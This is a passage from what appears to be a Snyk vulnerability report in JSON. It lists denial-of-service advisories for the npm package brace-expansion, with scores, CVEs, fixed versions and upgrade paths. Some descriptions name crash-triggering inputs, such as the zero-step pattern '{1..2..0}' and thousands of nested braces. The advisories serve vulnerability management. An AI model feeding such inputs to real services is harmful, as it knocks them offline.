"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
